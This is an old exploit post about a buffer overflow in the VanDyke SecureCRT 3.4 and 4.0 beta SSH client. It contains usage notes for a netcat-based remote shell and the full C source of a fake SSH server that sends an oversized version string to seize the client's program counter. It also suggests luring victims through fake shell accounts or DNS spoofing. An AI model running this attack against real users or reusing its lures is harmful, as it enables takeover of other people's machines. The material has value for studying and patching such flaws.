The following code is a remote shell exploiting the bug discovered by
Kyuzo... it use netcat

bye



// The bug was discovered by Kyuzo
// The schell code exploit was coded by Andrea Lisci
// The program working in the following way
//
// run the exploit
//./shellcode <netcat_machine> <netcat_port>
// run the netcat
// nc -l -p <netcat_port>
// connect from secureCRT to the port 9988 using ssh version 1
//
// the remote shell will be opened at netcat computer

Subject: Arbitrary Code Execution Vulnerability in VanDyke SecureCRT 3.4 &
4.0 beta


SecureCRT (http://www.vandyke.com/products/securecrt/) seems to have a bug
in a
seemlingly trivial portion of its SSH connection code.  When an SSH Client
connects to a server, the server sends a version string containing minor
and
major numbers for the protocol, as well as a server-specific identifier
string
which is specified to be no more than 40 bytes long.  Unfortunetly the
SecureCRT
code which handles errors relating to an unsupported protocol version
contains
an unchecked buffer overflow when dealing with this identifier string.

The following C code is given to reproduce this bug (yes I know Perl would
have
been shorter, sorry):

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 9988

int main(int argc, char **argv) {
    int s, n, i, sz = sizeof(struct sockaddr_in);
    struct sockaddr_in local, whatever;
    char payload[510];

    strcpy(payload, "SSH-1.1-");
    for (i = 8; i < 508; i++)
payload[i] = 'A';
    payload[508] = '\n';
    payload[509] = '\0';

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
return 1;
    }
    local.sin_family = AF_INET;
    local.sin_port = htons(PORT);
    local.sin_addr.s_addr = INADDR_ANY;
    memset(&(local.sin_zero), 0, 8);
    if (bind(s, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1)
{
perror("bind");
return 1;
    }
    if (listen(s, 2) == -1)  {
perror("listen");
return 1;
    }
    printf("waiting for connection...\n");
    if ((n = accept(s, (struct sockaddr *)&whatever, &sz)) == -1) {
perror("accept");
return 1;
    }
    printf("client connected\n");
    if (send(n, payload, sizeof(payload) - 1, 0) == -1) {
perror("send");
return 1;
    }
    printf("sent string: [%s]\n", payload);
    close(n);
    close(s);
    return 0;
}

After starting the (fake) server, run the SecureCRT client, attach a
debugger
and connect.  Notice the value of PC is now 0x41414141...coincidence?

There are a number of ways to trick people into connecting to your ssh
server,
i.e. telling them you've given them an account on your shell, dns spoofing
etc.

    Big shout-out to Lagow, Biggie Smalls (up in heaven),
